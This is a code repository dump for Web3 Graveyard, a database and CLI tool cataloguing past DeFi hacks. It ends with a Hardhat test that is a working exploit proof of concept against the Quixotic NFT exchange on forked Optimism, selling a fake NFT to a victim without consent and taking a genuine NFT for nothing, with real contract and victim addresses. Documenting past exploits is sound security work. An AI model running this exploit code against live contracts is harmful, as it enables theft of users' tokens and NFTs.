click.echo(colored(255,0,0,'Local Database Missing \u26A0')) 295 | try: 296 | database[project_name.strip().lower()] = { 297 | "Date" : Date, 298 | "Estimated Loss" : loss, 299 | "Attacker's Address": [ "" + address.strip().split('address/')[1] + "" for address in attacker_address], 300 | "Attacker's Contract" : [ "" + address.strip().split('address/')[1] + "" for address in attacker_contract], 301 | "Project Contracts" : dict(zip(project_contracts_names,project_contracts_addresses)), 302 | "Postmortem/Analysis" : [ "" + post.strip() + "" for post in postmortems], 303 | "PoC" : [ "" + poc.strip() + "" for poc in PoC], 304 | "Chain" : Chain, 305 | "Bug Type" : [Bug_Type_Issue, "
    "], 306 | "Project Type" : Project_Type, 307 | "Tags" : Tags, 308 | "Note" : Note 309 | } 310 | 311 | with open(os.path.expanduser('~/.graveyard/Web3-Graveyard/assets/exploit-database.json'), 'wt') as file: 312 | json.dump(database,file, indent=4) 313 | 314 | try: 315 | current_dir = os.getcwd() 316 | os.chdir(dir_path) 317 | subprocess.check_output(['git', 'add', 'assets/exploit-database.json']) 318 | subprocess.check_output(['git', 'commit', '-m', f'New Hack {project_name.strip()}',f'--author="{username} <>"']) 319 | subprocess.check_output(['git','push']) 320 | click.echo(colored(0,255,0,'Pushed Changes to the fork \u2713')) 321 | os.chdir(current_dir) 322 | except: 323 | return click.echo(colored(255,0,0,'Problem with pushing data \u26A0')) 324 | 325 | postdata = '{"title":"' + f'New Hack {project_name.strip()}", "head":"{username}:main","base":"main"' 326 | pull_request = requests.post(f'https://api.github.com/repos/razzor-codes/Web3-Graveyard/pulls', data=postdata, headers={ 327 | 'Accept' : 'application/vnd.github+json', 328 | 'Authorization': f'token {token}' 329 | }) 330 | 331 | if pull_request.status_code != 201: 332 | click.echo(pull_request.text) 333 | return click.echo(colored(255,0,0,'Pull Request Failed \u26A0')) 334 | 335 | 336 | click.echo(colored(0,255,0,'Triggered a pull request \u2713')) 337 | 338 | except: 339 | return click.echo(colored(255,0,0,'Invalid Data Provided \u26A0 \nTips:\n1)Addresses must be complete url links from block explorers ')) 340 | 341 | @cli.command('find', help='Find projects with which an address was involved') 342 | @click.argument('address') 343 | def find(address): 344 | if len(address) != 42: 345 | return click.echo(colored(255,0,0,'Unknown address format \u26a0')) 346 | 347 | hacks = fetch_database() 348 | Projects = [] 349 | for hack in hacks.keys(): 350 | for attacker in hacks[hack]["Attacker's Address"] + hacks[hack]["Attacker's Contract"] + list(hacks[hack]['Project Contracts'].values()): 351 | if address.lower() in attacker.lower(): 352 | if hack not in Projects: 353 | Projects.append(hack) 354 | if Projects: 355 | return click.echo(colored(0,255,0,f'Found involved with {Projects}')) 356 | else: 357 | return click.echo(colored(255,0,0,'Not Found in the database. Mind adding it')) 358 | 359 | @cli.command('range', short_help='Find project in range') 360 | @click.option('-s', '--start', metavar= "",default= "1 January 2020",help='Start date') 361 | @click.option('-e', '--end', metavar= "", default="31 December 2023",help='End date') 362 | def range(start, end): 363 | """ 364 | Find hacks happened within a given range \b \n 365 | \033[91mExample: \033[0m \n 366 | python3 gravedigger.py range -s "1 August 2022" -e "7 August 2022" 367 | """ 368 | hacks = fetch_database() 369 | try: 370 | start = datetime.strptime(start, "%d %B %Y") 371 | end = datetime.strptime(end, "%d %B %Y") 372 | except ValueError: 373 | return click.echo(colored(255,0,0,'Incorrect Date Format. Stick to %d Month %Y (7 July 2022)')) 374 | Projects = [] 375 | for hack in hacks.keys(): 376 | date = datetime.strptime(hacks[hack]['Date'], "%d %B %Y") 377 | if date >= start and date <= end: 378 | Projects.append(hack) 379 | 380 | if Projects: 381 | return click.echo(colored(0,255,0,f'The hacks happened within the range are \n {Projects}')) 382 | else: 383 | return click.echo(colored(255,0,0,'No hacks found within the selected raange. Pick a different start/end date')) 384 | 385 | 386 | 387 | def colored(r, g, b, text): 388 | return "\033[38;2;{};{};{}m{} \033[38;2;255;255;255m".format(r, g, b, text) 389 | 390 | if __name__ == '__main__': 391 | cli() -------------------------------------------------------------------------------- /hardhat.config.js: -------------------------------------------------------------------------------- 1 | //const { hardhatArguments } = require('hardhat'); 2 | 3 | /** 4 | * @type import('hardhat/config').HardhatUserConfig 5 | */ 6 | require('dotenv').config(); 7 | require("@nomiclabs/hardhat-waffle") 8 | require("@nomiclabs/hardhat-etherscan") 9 | require("@openzeppelin/hardhat-upgrades") 10 | require("@nomiclabs/hardhat-ethers") 11 | 12 | 13 | task("accounts", "Prints the list of accounts", async (taskArgs, hre) => { 14 | const accounts = await hre.ethers.getSigners(); 15 | 16 | for (const account of accounts) { 17 | console.log(account.address); 18 | } 19 | }); 20 | 21 | 22 | 23 | module.exports = { 24 | solidity: { 25 | compilers: [ 26 | { 27 | version: "0.8.13", 28 | settings: { 29 | optimizer: { 30 | enabled: true, 31 | runs: 200, 32 | } 33 | } 34 | }, 35 | { 36 | version: "0.5.16" 37 | }, 38 | { 39 | version: "0.6.12" 40 | } 41 | 42 | ], 43 | }, 44 | mocha: { 45 | timeout: 10000000000 46 | }, 47 | networks: { 48 | hardhat: { 49 | accounts: { 50 | accountsBalance: '5000000000000000000000000000000' 51 | }, 52 | allowUnlimitedContractSize: true, 53 | forking: { 54 | // url: process.env.ALCHEMY_OPTIMISM, 55 | // blockNumber: 15057989, 56 | // enabled: false 57 | } 58 | }, 59 | } 60 | }; 61 | -------------------------------------------------------------------------------- /index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 14 | 15 | 16 | 17 | 18 | Web3 Graveyard 19 | 20 | 21 | 22 | 23 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 60 | 61 | 62 |
    63 |
    64 |

    Web3 Graveyard 65 | 66 |

    67 |

    Find

    68 |
    69 |
    70 |
    71 |
    72 |
    73 | 74 |
    75 |
    76 |
    77 |
    78 |
    79 | 80 |
    81 |
    82 | 83 |
    84 | 85 | 86 |
    87 |
    88 | 89 |
    90 |

    91 |

    92 |
    93 | 94 |
    95 | 96 | 97 |
    98 |

    99 |
    100 | 101 |
    102 |
    103 | 104 | 105 | 106 |
    107 | 108 | 109 |
    110 |
    111 |

    Web3 Graveyard

    112 |

    Database of past web3 exploits

    113 |

    Information is collected from public sources. DYOR for the validation

    114 | 117 | 120 | 121 |
    122 |
    123 | 124 |
    125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hardhat", 3 | "version": "1.0.0", 4 | "description": "A Graveyard sharing stories about the past hacks", 5 | "main": "index.js", 6 | "keywords": ["solidity", "ethereum", "defi", "web3"], 7 | "author": "Razzor", 8 | "license": "ISC", 9 | "devDependencies": { 10 | "@nomiclabs/hardhat-ethers": "^2.0.3", 11 | "@nomiclabs/hardhat-etherscan": "^3.0.0", 12 | "@nomiclabs/hardhat-waffle": "^2.0.1", 13 | "@openzeppelin/contracts": "^4.5.0", 14 | "@openzeppelin/hardhat-upgrades": "^1.13.0", 15 | "bignumber.js": "^9.0.2", 16 | "chai": "^4.3.4", 17 | "eth-crypto": "^2.3.0", 18 | "ethereum-waffle": "^3.4.0", 19 | "ethers": "^5.5.2", 20 | "hardhat": "^2.8.0", 21 | "hardhat-contract-sizer": "^2.5.1", 22 | "hardhat-gas-reporter": "^1.0.8", 23 | "hardhat-tracer": "^1.1.0-rc.6" 24 | }, 25 | "dependencies": { 26 | "@openzeppelin/contracts-upgradeable": "^4.4.2", 27 | "@pancakeswap/pancake-swap-lib": "0.0.4", 28 | "dotenv": "^16.0.1", 29 | "node-fetch": "^2.6.7" 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [build-system] 2 | requires = ['setuptools>=59'] 3 | build-backend = 'setuptools.build_meta' -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from setuptools import setup 2 | import os 3 | import io 4 | here = os.path.abspath(os.path.dirname(__file__)) 5 | 6 | with io.open(os.path.join(here, 'README.md'), encoding='utf-8') as f: 7 | long_description = '\n' + f.read() 8 | 9 | 10 | setup( 11 | name='gravedigger', 12 | version='0.1.0', 13 | description='Web3 Graveyard Interaction Tool', 14 | url='https://github.com/razzor-codes/Web3-Graveyard', 15 | long_description=long_description, 16 | long_description_content_type='text/markdown', 17 | author='Razzor', 18 | license='Apache License 2.0', 19 | python_requires = '>=3.6.0', 20 | packages=['gravedigger'], 21 | classifiers=[ 22 | 'Intended Audience :: End Users/Desktop', 23 | 'Development Status :: 3 - Alpha', 24 | 'Operating System :: OS Independent', 25 | 'Programming Language :: Python :: 3', 26 | 'License :: OSI Approved :: Apache Software License', 27 | ], 28 | install_requires=[ 29 | 'click', 30 | 'requests', 31 | ], 32 | entry_points=''' 33 | [console_scripts] 34 | gravedigger=gravedigger.main:cli 35 | ''', 36 | zip_safe=False 37 | ) -------------------------------------------------------------------------------- /test/Quixotic/Quixotic.js: -------------------------------------------------------------------------------- 1 | const { ethers } = require("hardhat"); 2 | const EthCrypto = require('eth-crypto'); 3 | describe("Quixotic", function(){ 4 | 5 | before (async function(){ 6 | ExchangeInterface = [ 7 | "function fillSellOrder(address payable seller, address contractAddress, uint256 tokenId, uint256 startTime, uint256 expiration, uint256 price, uint256 quantity, uint256 createdAtBlockNumber, address paymentERC20, bytes memory signature, address payable buyer) external payable", 8 | "function fillBuyOrder(address payable buyer, address contractAddress, uint256 tokenId, uint256 startTime, uint256 expiration, uint256 price, uint256 quantity, address paymentERC20, bytes memory signature, address payable seller) external payable" 9 | ] 10 | 11 | // Quixotic Exchangev4 address 12 | ExchangeAdd = "0x065e8A87b8F11aED6fAcf9447aBe5E8C5D7502b6"; 13 | 14 | OPInterface = [ 15 | "function balanceOf(address account) external view returns (uint256)", 16 | "function allowance(address owner, address spender) external view returns (uint256)", 17 | "function approve(address spender, uint256 amount) external returns (bool)" 18 | ] 19 | // Optimism Token 20 | OPAdd = "0x4200000000000000000000000000000000000042"; 21 | 22 | // Use your Optimism node API key for the jsonRPCUrl 23 | await network.provider.request({ 24 | method: "hardhat_reset", 25 | params: [{forking: {jsonRpcUrl: process.env.ALCHEMY_OPTIMISM, blockNumber: 13588105,},},], 26 | }); 27 | 28 | [attacker] = await ethers.getSigners(); 29 | 30 | // The victim we are targeting to sell our Fake NFT 31 | victimAdd = "0x42332d7005Bf5f0bE4DBc324E40a9ea09684c964"; 32 | victim = await ethers.getSigner(victimAdd); 33 | 34 | OP = await ethers.getContractAt(OPInterface, OPAdd, attacker); 35 | Exchange = await ethers.getContractAt(ExchangeInterface, ExchangeAdd, attacker); 36 | 37 | //Fake ERC721 NFT Contract 38 | cont = await ethers.getContractFactory("FakeNFT"); 39 | FakeNFT = await cont.deploy(); 40 | 41 | /*Mint IDs to our own address 42 | * 1 for 1st case 43 | 2 for 2nd case */ 44 | await FakeNFT.MintNFT(attacker.address, 1); 45 | await FakeNFT.MintNFT(victimAdd, 2); 46 | 47 | // Approve the Exchange so that it can transfer our NFT to buyer 48 | await FakeNFT.setApprovalForAll(ExchangeAdd, true); 49 | 50 | // Ahhh... Victim doesn't have any native funds. No worries, we can transfer some. Anything for the PoC XD 51 | await attacker.sendTransaction({to: victimAdd, value: ethers.utils.parseEther("100")}); 52 | 53 | await network.provider.request({ 54 | method: "hardhat_impersonateAccount", 55 | params: [victimAdd], 56 | }); 57 | 58 | // Let's assume victim has approved the Exchange so that it can transfer the NFT tp concerned buyer 59 | await FakeNFT.connect(victim).setApprovalForAll(ExchangeAdd, true); 60 | 61 | // Let's assume victim has already approved its tokens to Exchange, so as to allow the Exchange to transfer tokens on its behalf 62 | await OP.connect(victim).approve(ExchangeAdd, await OP.balanceOf(victimAdd)); 63 | 64 | }); 65 | 66 | it ("Exploit PoC : Selling Fake NFT to Victim without consent", async function(){ 67 | currentBlockNumber = await ethers.provider.getBlockNumber(); 68 | currentBlock = await ethers.provider.getBlock(); 69 | // The price we want to sell our NFT at 70 | price = ethers.utils.parseEther("100.0"); 71 | 72 | // Added a function in NFT contract itself to get the message hash easily. 73 | hash = await FakeNFT.generateSellerDigest(attacker.address, FakeNFT.address, 1, 0, currentBlock.timestamp+200, price, 1, currentBlockNumber, OP.address); 74 | 75 | //use your private key to sign the message 76 | signature = EthCrypto.sign(process.env.Attacker_PRIVKEY, hash); 77 | 78 | console.log("NFT Owner before the attack: ", await FakeNFT.ownerOf(1), 79 | "\nAttacker's Balance before the attack: ", await OP.balanceOf(attacker.address), 80 | "\nVictim's Balance before the attack: ", await OP.balanceOf(victim.address)); 81 | 82 | await Exchange.fillSellOrder( 83 | attacker.address, 84 | FakeNFT.address, 85 | 1, // token Id 86 | 0, // start time should be prior to current time, so we can pass anything less than current time 87 | currentBlock.timestamp+200, // expiry time, should be in future, so again it can by any time 88 | price, 89 | 1, //quantity as it's an NFT so gonna be 1 90 | currentBlockNumber, // created at which block number? It is used to verify that it's a new order considering the cancelled orders in the past(if it was cancelled at an older block) 91 | OP.address, //the payment token. The token we want to trade for our NFT from the buyer. It should be a registered token in the PaymentERC20Registry(0x445e27A25606DAD4321c7b97eF8350A9585a5c78), and the victim should be having enough balance and has provide enough allowance to exchange(at least more than the price we are targetting) 92 | signature, // attacker/seller's signature 93 | victimAdd); // buyer/victim 94 | 95 | console.log("\nNFT Owner after the attack: ", await FakeNFT.ownerOf(1), 96 | "\nAttacker's Balance after the attack: ", await OP.balanceOf(attacker.address), 97 | "\nVictim's Balance after the attack: ", await OP.balanceOf(victim.address)); 98 | 99 | // We will receive 97.5% of the target price as 2.5% goes to _makerWallet(0xeC1557A67d4980C948cD473075293204F4D280fd) 100 | 101 | }); 102 | 103 | it ("Exploit PoC : Stealing Genuine NFT from Victim without consent", async function(){ 104 | currentBlockNumber = await ethers.provider.getBlockNumber(); 105 | currentBlock = await ethers.provider.getBlock(); 106 | // The price we want to buy the NFT at. Obviously 0 XD 107 | price = 0; 108 | 109 | // Added a function in NFT contract itself to get the message hash easily. 110 | hash = await FakeNFT.generateBuyerDigest(attacker.address, FakeNFT.address, 2, 0, currentBlock.timestamp+200, price, 1, OP.address); 111 | 112 | //use your private key to sign the message 113 | signature = EthCrypto.sign(process.env.Attacker_PRIVKEY, hash); 114 | 115 | console.log("\nNFT Owner before the attack: ", await FakeNFT.ownerOf(2), 116 | "\nAttacker's Balance before the attack: ", await OP.balanceOf(attacker.address), 117 | "\nVictim's Balance before the attack: ", await OP.balanceOf(victim.address)); 118 | 119 | await Exchange.fillBuyOrder( 120 | attacker.address, 121 | FakeNFT.address, 122 | 2, // token Id 123 | 0, // start time should be prior to current time, so we can pass anything less than current time 124 | currentBlock.timestamp+200, // expiry time, should be in future, so again it can by any time 125 | price, 126 | 1, //quantity as it's an NFT so gonna be 1 127 | OP.address, //the payment token. The token we want to trade for the NFT to the seller. It should be a registered token in the PaymentERC20Registry(0x445e27A25606DAD4321c7b97eF8350A9585a5c78), and the buyer should be having enough balance and has provide enough allowance to exchange(at least more than the price we are targetting) 128 | signature, // attacker/buyer's signature 129 | victimAdd); // seller/victim 130 | 131 | console.log("\nNFT Owner after the attack: ", await FakeNFT.ownerOf(2), 132 | "\nAttacker's Balance after the attack: ", await OP.balanceOf(attacker.address), 133 | "\nVictim's Balance after the attack: ", await OP.balanceOf(victim.address)); 134 | 135 | // The balances won't change as we are buying NFT for zero price 136 | }); 137 | 138 | 139 | 140 | 141 | }); --------------------------------------------------------------------------------